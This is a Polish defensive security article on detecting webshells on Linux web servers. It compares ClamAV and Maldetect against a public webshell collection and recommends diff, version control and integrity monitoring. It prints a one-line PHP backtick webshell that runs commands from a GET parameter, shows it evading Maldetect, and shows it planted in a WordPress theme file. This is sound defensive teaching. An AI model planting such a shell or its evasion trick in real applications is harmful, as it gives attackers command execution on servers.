Jak wykrywać backdoory / webshelle w aplikacjach webowych?

31 lipca 2017, 11:38 | Teksty | 1 komentarz

Utrzymując infrastrukturę na której uruchamiane są liczne aplikacje WWW, z czasem może zajść potrzeba wdrożenia mechanizmu, który pozwoli administratorowi zweryfikować, czy pośród standardowych plików zainstalowanych aplikacji nie pojawiło się oprogramowanie niechciane. Artykuł omawia podstawy związane z klasą zagrożeń znanych jako tzw. webshelle.
Przedstawione zostały m.in. metody ich wykrywania, kilka słów komentarza poświęcono skuteczności każdej z wymienionych metod. W ramach artykułu przygotowano również środowisko testowe, które można wykorzystać do treningu zdobytych w trakcie lektury umiejętności.

Czym są webshelle?

Webshelle należy traktować jako tylne furtki (ang. backdoor), które umożliwiają zdalny dostęp do powłoki systemowej serwera. W większości przypadków ten złośliwy fragment kodu wykorzystuje wbudowane w wybraną technologię funkcje pozwalające na wykonywanie wspomnianych poleceń systemowych. Częstą praktyką jest dodanie do webshelli metod, które pozwalają m.in. na wygodne pobieranie plików z przejętego serwera, lub nawigację po jego zasobach. W przypadku utrzymywania na serwerach aplikacji WWW, trzeba rozważyć wdrożenie okresowych polityk, które będą wymuszały weryfikację obecności tego typu oprogramowania. Dobrą praktyką, jest również przeprowadzenie analizy ewentualnych konsekwencji wykrycia tego typu oprogramowania w naszej infrastrukturze.

Potencjalne konsekwencje

Przed rozpoczęciem weryfikacji plików aplikacji WWW, może pojawić się potrzeba wypracowania odpowiedniej motywacji, do podjęcia tego działania. W tym celu pomocna będzie również analiza ewentualnych konsekwencji pod katem nieautoryzowanego dostępu do serwerów:

Wycieku poufnych danych, zawartości baz danych,
Wykorzystania serwera do rozsyłania niechcianej poczty (SPAM),
Wykorzystania serwera jako punktu przesiadkowego do ataków na inne cele,
Wykorzystania faktu, że serwer może posiadać dostęp do sieci wewnętrznej, a co za tym idzie, dalszej penetracji sieci,
Wykorzystania aplikacji uruchomionej na serwerze do infekcji złośliwym oprogramowaniem,
Wykorzystania mocy obliczeniowej serwera do generowania różnego typu kryptowalut.

Warto przyjrzeć się tego typu zagrożeniom chociażby z perspektywy regulacji GDPR.

Założenia artykułu

Podstawowym założeniem artykułu jest przedstawienie wiedzy w taki sposób, by móc na jej podstawie wypracować proces oraz schemat pracy, który znajdzie zastosowanie przy cyklicznej weryfikacji występowania ewentualnych zagrożeń.

Opisując kwestie wykrywania webshelli można mimowolnie zboczyć na szeroką tematykę związaną z analizą powłamaniową. Wobec tego, przyjąć należy, iż kwestie analizy powłamaniowej będą pominięte, na rzecz następujących założeń:

Artykuł kierowany jest do kadry zarządzającej systemami operacyjnymi, która okresowo chce przeprowadzić weryfikację plików przechowywanych na serwerze pod kątem obecności niepożądanego oprogramowania klasy webshell,
Atakującemu nie udało się skutecznie podnieść uprawnień do użytkownika o wyższym poziomie autoryzacji,
Artykuł skupia się na aplikacjach i serwerach uruchomionych w oparciu o systemy z rodziny Linux,
Serwer, na którym uruchomiona jest zaatakowana aplikacja, nie posiada wdrożonej polityki monitorowania zmian w systemie plików.

Środowisko pracy

Przed przystąpieniem do weryfikacji występowania zagrożenia, należy zastanowić się nad tym, w jakim środowisku chcemy wykonać zaplanowaną pracę. Uruchamiane różnego typu narzędzi automatycznych, wyszukujących zagrożenia może nie być najlepszym pomysłem w przypadku środowiska produkcyjnego. Potencjalne problemy mogą wystąpić nawet w podczas wykorzystywania prostych komend systemu Linux, takich jak grep czy find. Przeszukiwanie bardzo dużych zbiorów plików może wpłynąć na chwilową stabilność pracy serwera. Jeżeli zatem nasza aplikacja działa w środowisku zwirtualizowanym, można rozważyć wykonanie migawki (ang. snapshot) i przeprowadzenie prac w bezpiecznym, lokalnym środowisku.

Wykonanie kopii plików przed przystąpieniem do jakichkolwiek prac może mieć również kluczowe znaczenie z perspektywy zachowania odpowiedniego materiału dowodowego.

Poznaj przeciwnika

Wykonując analizę powłamaniową któryś raz z rzędu można zauważyć pewne wzorce. Praktyka wskazuje na to, że atakujący często wykorzystują gotowe oprogramowanie, które posiada różny stopień zaawansowania funkcjonalności (Rysunek nr. 1, Rysunek nr. 2).

Rysunek 1. Jedna z wersji webshella r57.

Rysunek 2. Inny popularny webshell – c99.

W sieci od jakiegoś czasu tworzone są nawet repozytoria gromadzące przykłady tego typu gotowych do wykorzystania webshelli:

https://github.com/BlackArch/webshells

Osoby mające dostęp do dystrybucji Kali Linux powinny również zweryfikować zawartość katalogu webshells (Listing nr. 1).

art@kali:~$ find /usr/share/webshells/ -type f
/usr/share/webshells/cfm/cfexec.cfm
/usr/share/webshells/php/simple-backdoor.php
/usr/share/webshells/php/php-findsock-shell.php
/usr/share/webshells/php/findsock.c
/usr/share/webshells/php/qsd-php-backdoor.php
/usr/share/webshells/php/php-backdoor.php
/usr/share/webshells/php/php-reverse-shell.php
/usr/share/webshells/asp/cmd-asp-5.1.asp
/usr/share/webshells/asp/cmdasp.asp
/usr/share/webshells/jsp/jsp-reverse.jsp
/usr/share/webshells/jsp/cmdjsp.jsp
/usr/share/webshells/perl/perlcmd.cgi
/usr/share/webshells/perl/perl-reverse-shell.pl
/usr/share/webshells/aspx/cmdasp.aspx

Cechą charakterystyczną dla większości tego typu oprogramowania jest próba odwołania się wprost do rożnego typu funkcji wybranej technologii, które pozwalają na wywoływanie poleceń systemowych. W przypadku PHP mowa chociażby o funkcjach exec lub system, w przypadku JSP może to polegać na wykorzystaniu klasy Runtime.

Narzędzia automatyczne

Ilość obowiązków administratora systemów nie zachęca do ręcznego przeglądania plików pod kątem obecności niepożądanego oprogramowania. Z tego też powodu administratorzy chętnie wykorzystują gotowe rozwiązania, które próbują automatyzować proces przeszukiwania zasobów serwera.

W sieci można znaleźć opisy wykorzystania kilku z nich – w tym artykule do weryfikacji obecności webshelli wykorzystany zostanie ClamAV (antywirus) oraz skrypty częściej utożsamiane z wyszukiwaniem tego typu tylnych furtek takich jak Maldetect.

W ramach testu zweryfikowane zostanie, jak każdy z tych programów sprawdzi się w wykrywaniu zagrożeń, gdzie jako próbki wykorzystane zostaną webshelle pochodzące z repozytorium BlackArch. Na czas pisania artykułu zbiór testowy składa się z 237 elementów (Listing nr. 2)

art@kali:~$ git clone -q https://github.com/BlackArch/webshells.git
art@kali:~$ cd webshells/
art@kali:~/webshells$ find . -type f | wc -l 
237
art@kali:~/webshells$

ClamAV

Weryfikację tego, jak ClamAV sprawdza się w roli oprogramowania do wykrywania webshelli, należy rozpocząć od aktualizacji bazy – polecenie freshclam. Następnie warto wymusić na nim rekursywne przeszukiwanie katalogów (przełącznik r). W ramach weryfikacji wystarczające będzie również, aby skaner jedynie poinformował nas o ilości wykrytych zagrożeń bez podejmowania dodatkowych działań (przełącznik i).

art@kali:~/webshells$ freshclam --quiet
art@kali:~/webshells$ clamscan -r -i . 
./php/NIX_REMOTE_WEB-SHELL_v.0.5_alpha_Lite_Public_Version.php: Html.Trojan.Exploit-84 FOUND
./php/h4ntu_shell_[powered_by_tsoi].php: Win.Trojan.Remoteadmin-4 FOUND
./php/stres.php: Win.Trojan.Shell-20 FOUND
./php/magiccoder.php: Win.Trojan.ShellExec-1 FOUND
[…]
./php/ex0shell.php: Win.Trojan.Shell-15 FOUND
./php/zaco.php: Win.Trojan.Shell-55 FOUND
./php/C99Shell v. 1.0 beta (5.02.2005).php: Win.Trojan.C99-4 FOUND
./asp/cmdasp.asp: Win.Trojan.Ace-8 FOUND
./perl/Perl Web Shell by RST-GHC.pl: Win.Trojan.R57-2 FOUND
./aspx/shell.aspx: Legacy.Trojan.Agent-36242 FOUND

----------- SCAN SUMMARY -----------
Known viruses: 5827207
Engine version: 0.99.2
Scanned directories: 24
Scanned files: 237
Infected files: 113
Data scanned: 20.91 MB
Data read: 11.97 MB (ratio 1.75:1)
Time: 16.861 sec (0 m 16 s)
art@kali:~/webshells$

Na potrzeby artykułu z Listingu nr. 3 usunięto 103 środkowe wpisy. Wszystkie z nich dotyczyły webshelli wykonanych w technologii PHP. Na podstawie wyników skanowania można wysnuć następujące wnioski:

ClamAV najlepiej wypada w przypadku wyszukiwania webshelli stworzonych z wykorzystaniem technologii PHP, skuteczność wynosi ponad 50%,
ClamAV jest również w stanie wykryć niebezpieczne skrypty stworzone z wykorzystaniem technologii ASP, ASPX oraz Perl,
Niewykryte zostały webshelle stworzone z wykorzystaniem Java ServerPages oraz Adobe ColdFusion.

ClamAV jest w stanie pomóc w wykrywaniu webshelli, jednak najprawdopodobniej ze względu na to, że nie jest to oprogramowanie dedykowane do tych celów, nie można go też traktować jako wystarczające narzędzie do wykrywania webshelli.

Maldetect

Innym oprogramowaniem, które można wykorzystać do przeszukiwania zbiorów plików pod kątem webshelli, jest Maldetect. Jak piszą o nim sami twórcy, jest dedykowany do wyszukiwania oprogramowania typu malware w środowiskach współdzielonego hostingu. Warto więc zweryfikować, jak Maldetect poradzi sobie w porównaniu z ClamAV, podczas weryfikacji tego samego zestawu danych (Listing nr. 4).

art@kali:~/webshells$ find . -type f > list.txt
art@kali:~/webshells$ maldet -f ./list.txt 
Linux Malware Detect v1.5
            (C) 2002-2016, R-fx Networks <proj@rfxn.com>
            (C) 2016, Ryan MacDonald <ryan@rfxn.com>
This program may be freely redistributed under the terms of the GNU GPL v2

maldet(6349): {scan} signatures loaded: 11294 (9343 MD5 / 1951 HEX / 0 USER)
maldet(6349): {scan} user supplied file list './list.txt', found 237 files...
maldet(6349): {scan} found clamav binary at /usr/bin/clamscan, using clamav scanner engine...
maldet(6349): {scan} scan of ./list.txt (237 files) in progress...
maldet(6349): {scan} processing scan results for hits: 137 hits 0 cleaned
maldet(6349): {scan} scan completed on ./list.txt: files 237, malware hits 137, cleaned hits 0, time 22s
maldet(6349): {scan} scan report saved, to view run: maldet --report 170216-1340.6349
maldet(6349): {scan} quarantine is disabled! set quarantine_hits=1 in conf.maldet or to quarantine results run: maldet -q 170216-1340.6349

Nie zagłębiając się w szczegóły Maldetect wykrył o ponad dwadzieścia zagrożeń więcej w porównaniu do „czystej” wersji ClamAV.

Nie lekceważ przeciwnika

Jeżeli administrator dysponuje większą ilością czasu, często decyduje się na stworzenie własnych skryptów, które przeszukują wybrany zakres plików pod kątem popularnych dla danych technologii niebezpiecznych funkcji. Prędzej czy później, sprowadza się to do wykorzystania standardowych programów grep oraz find. Przy takim podejściu przekazuje się na wejściu tych programów zakres plików do przeszukania oraz listę wzorców, które mają one wyszukiwać w plikach. Często jednak lista standardowych filtrów obejmuje jedynie najbardziej popularne funkcje, dla PHP może to być exec, base64, eval lub system. Bardzo prostym sposobem, jaki może wykorzystać atakujący, aby uniknąć wykrycia, w takim przypadku jest wykorzystanie chociażby tzw. „Execution Operators”, które w PHP pozwalają na wykonanie dowolnego polecenia systemowego, a które bardzo rzadko uwzględniane są na listach podejrzanych „funkcji” (Listing nr. 5).

art@kali:~/webshells$ echo '<?php echo `$_GET[0]`;' > backticks.php 
art@kali:~/webshells$ echo ./backticks.php > list.txt
art@kali:~/webshells$ maldet -f ./list.txt 
Linux Malware Detect v1.5
[…]
maldet(13733): {scan} scan completed on ./list.txt: files 1, malware hits 0, cleaned hits 0, time 12s
maldet(13733): {scan} scan report saved, to view run: maldet --report 170216-1412.13733
art@kali:~/webshells$ php-cgi -q backticks.php 0=id;pwd
uid=0(root) gid=0(root) groups=0(root)
/root/webshells
art@kali:~/webshells$

Stosując podejście opierające się na skanowaniu plików pod kątem użycia niebezpiecznych funkcji, należy zdać sobie sprawę z tego, że dana technologia może posiadać bardzo dużą ilość różnych sposobów prowadzących do wykonania kodu lub polecenia systemowego – z pewnością, taka lista nie ogranicza się do podstawowych funkcji exec czy system. O tym, że atakujący ma wiele możliwości, można przekonać dowiedzieć się także z tekstów na Sekuraku:

https://sekurak.pl/backdoory-w-aplikacjach-php/

Kwestię weryfikacji plików poprzez przeszukiwanie na podstawie listy wzorców dodatkowo komplikuje fakt, że sposoby wykonania kodu można podzielić na dwie kategorie:

Bezpośrednie – gdy kod uruchomiany jest bezpośrednio z wgranego przez atakującego pliku, np. przy pomocy funkcji eval,
Pośrednie – gdy wgrany przez atakującego plik zawiera jedynie funkcję, która pozwoli na załadowanie właściwego payloadu z innego miejsca. Może to być np. funkcja include języka PHP, która jako parametr przyjmować będzie ścieżkę do pliku graficznego zawierającego właściwą część exploita. Co ważne, kod, którego zadaniem będzie faktyczne wykonywanie złośliwych akcji, może wcale nie być osadzony na stałe na serwerze – istnieją metody, by tymczasowo dołączać go np. z logów, zmiennych lokalnych lub określonych nagłówków HTTP, a każda z aplikacji może udostępniać inny sposób na przemycenie tego typu kodu.

Wymieniony podział, to dość poważna komplikacja – uwzględnienie na liście filtrów chociażby funkcji include właściwie równałoby się z przeprowadzeniem pełnego przeglądu kodu przez administratora.

W tym miejscu można również wysnuć wniosek, że sposoby wyszukiwania webshelli, polegające na skanowaniu skryptów pod kątem określonych wzorców, a dodatkowo ograniczające zakres tylko do plików o standardowych rozszerzeniach (.PHP, .JSP, .ASP), mogą być obarczone wysokim współczynnikiem nieskuteczności.

Jednym z elementów, który można wykorzystać w wyszukiwaniu podejrzanych plików, jest weryfikacja długości linii. Oczywiście, nie jest to czynnik determinujący wykrycie webshella, jednak może posłużyć jako jedna z składowych.

W przypadku przeszukiwaniu plików pod kątem wybranych, podejrzanych wzorców nie można zapomnieć o różnego typu logach generowanych przez sam serwer jak i uruchomione na nim aplikacje. Również te miejsca warto zweryfikować pod kątem występowania w nich ciągów znaków mogących świadczyć o potencjalnym włamaniu.

Gdy wszystko zawodzi

Ciekawym podejściem pozwalającym na wykrycie ataków, których skutkiem nie jest tworzenie nowych plików, ale modyfikacja już istniejących, jest wykorzystanie oprogramowania pozwalającego na analizę różnic w plikach. Mowa tutaj np. o klasycznym programie diff. W takim przypadku, niezbędne będzie wykorzystanie dwóch zestawów danych. Pierwszy z nich stanowić będzie kod badanej przez nas aplikacji. Drugi zestaw, to zaufana kopia oryginalnej wersji oprogramowania. Wykonując analizę różnic tych dwóch zbiorów możemy znacznie zawęzić zakres plików wymagających ewentualnej dokładnej analizy (Listing nr. 6).

art@kali:~$ file wordpress_investigation/
wordpress_investigation/: directory
art@kali:~$ wget --quiet https://wordpress.org/latest.zip 
art@kali:~$ unzip -q latest.zip 
art@kali:~$ file wordpress/
wordpress/: directory
art@kali:~$ diff -qr wordpress/ wordpress_investigation/
Only in wordpress_investigation/wp-content/plugins/akismet: c99.php
Files wordpress/wp-content/themes/twentyfifteen/index.php and wordpress_investigation/wp-content/themes/twentyfifteen/index.php differ
art@kali:~$ tail -1 wordpress_investigation/wp-content/themes/twentyfifteen/index.php 
<?php echo `$_GET[0]`;  ?>
art@kali:~$

W tym przypadku należy jasno zaznaczyć, że takie podejście może wspomóc weryfikację oryginalnych plików aplikacji, ale zarazem może zwrócić nadmiarowe informacje w przypadku gdy do aplikacji wgrywane jest wiele plików.

Bardzo dobrym podejściem, wykorzystywanym od jakiegoś pewnego czasu, jest wspomaganie prac systemami kontroli wersji (Git, SVN). W takim przypadku należy jednak pamiętać o tym, czy repozytorium kodu możemy traktować jako zaufane źródło informacji, które same nie zostało zainfekowane.

Wnioski oraz przeciwdziałanie

Jeżeli nasze środowiska utrzymują dużą ilość oprogramowania, do którego dodatkowo nie mamy wglądu, np. ze względu na kwestie licencyjne lub umowy z klientami, czasem zagrożenie można wykryć poprzez analizę anomalii, jakie w tym środowisku mogą wystąpić, a nad którymi możemy mieć już pewną kontrolę. Klasycznym przykładem świadczącym o możliwości uzyskania nieautoryzowanego dostępu do serwera, znacząco szybciej zapełniająca się kolejka wiadomości email oczekujących na wysyłkę niż zwykle. W takim przypadku można rozważyć wdrożenie nakładki na standardowe pliki binarne, które będą gromadziły statystyki wysyłanych maili i odpowiednio reagowały na odchylenia od standardu.

Administratorzy systemów współdzielonych często wykorzystują oprogramowanie, monitorujące zmiany w systemie – w tym, w systemie plików – oraz na podstawie zdefiniowanych reguł, podejmuje odpowiednie kroki. Najpopularniejszym z nich, jest powiadomienie administratora o wykryciu zmian w plikach aplikacji lub plikach konfiguracyjnych usług – zmiany tego typu mogą świadczyć o uzyskaniu nieautoryzowanego dostępu do serwera. Wśród oprogramowania, które realizuje wymienione zdania, należy wymienić m.in.:

Tripwire – system weryfikacji integralności plików dostępny zarówno w wersji Open Source, jak i w edycjach komercyjnych,
AIDE – rozbudowane i darmowe rozwiązanie realizujące podobne zadania co Tripwire, dzięki czemu pozwala na monitorowanie zmian w systemie w czasie rzeczywistym,
Auditd – jedno z ciekawszych i wartych polecenia rozwiązań monitorujących zachowanie systemów Linux.

Zastosowanie i implementacja ostatniego z zaproponowanych rozwiązań została szczegółowo omówiona na łamach portalu Sekurak:

Nieoceniony w ochronie przed wgrywaniem webshelli, może być popularny ModSecurity, który również został szczegółowo opisany w ramach zasobów dostępnych na sekurak.pl:

W przypadku implementacji mechanizmów monitoringu i powiadamiania o podejrzanych zdarzeniach, równie ważnym co sama jego implementacja, jest weryfikacja działania takiego mechanizmu. Po zakończonym wdrożeniu, należy przetestować działanie systemu. W tym celu na środowisku testowym można „zainfekować” aplikację chociażby przy pomocy jednego z webshelli wykorzystywanych jako zestaw testowy, przy weryfikacji narzędzie automatycznych.

Warto również być proaktywnym i na bieżąco śledzić różnego typu listy z exploitami:

Jeżeli jako zalecenie proponuje się monitorowanie informacji o pojawiających się w sieci publicznie dostępnych exploitach, ważnym wnioskiem może być podjęcie odpowiednich działań mających na celu odpowiednio szybkie reagowanie na tego typu incydenty. Jedną z możliwych do wykorzystania technik, jest możliwe pilne instalowanie aktualizacji, udostępnianych przez producenta danego oprogramowania. Niekiedy proponuje się wręcz włączenie mechanizmów automatycznej aktualizacji, które okresowo weryfikują dostępność aktualizacji i w razie potrzeby instalują je. Sprawa jednak nie jest zero jedynkowa, nie każdy może sobie pozwolić na wgrywanie najnowszych dostępnych paczek oprogramowania bez weryfikacji, czy zmiana nie zagraża dostępności całego środowiska produkcyjnego.

Trening

Po przyswojeniu wiedzy teoretycznej, zawsze warto zweryfikować ją w praktyce. W tym celu, można pobrać archiwum ZIP (hasło: s3kurak), które zawiera zainfekowaną witrynę WWW. Instancję udostępnił nam pewien właściciel sklepu rowerowego, który już jakiś czas temu postanowił rozszerzyć marketing swojego sklepu właśnie o uruchomienie firmowej witryny. Niestety, w ferworze codziennych obowiązków, zdążył tylko dokończyć proces instalacji instancji WordPress, a następnie zapomniał o całej sprawie. Po kilku dniach, odebrał wiadomość email od dostawcy usług hostingowych. Jego konto zostało zablokowane ze względu na przekroczone limity obciążenia serwera. Zostaliśmy poproszeni o to, by zweryfikować czy w plikach serwisu znajduje się jakieś niepożądane oprogramowanie.

Podsumowanie

Wgranie skryptu webshella, jest jednym z pierwszych kroków jaki podejmuje atakujący, po wykryciu luki w zabezpieczeniach testowanej aplikacji. Wykrycie takiego skryptu, powinno być wystarczającą motywacją do tego, by dokładnie zweryfikować bezpieczeństwo udostępnianej aplikacji. Oprócz doraźnego usunięcia zagrożenia, należy również podjąć określone kroki, które będą miały na celu zapobiec ponownej możliwości przejęcia kontroli nad serwerem, lub przynajmniej móc zareagować na taki incydent w możliwie krótkim czasie.

— Marcin Piosek, analityk bezpieczeństwa IT,
realizuje audyty bezpieczeństwa oraz testy penetracyjne w firmie Securitum.

Sprawdź VPS od Aruba!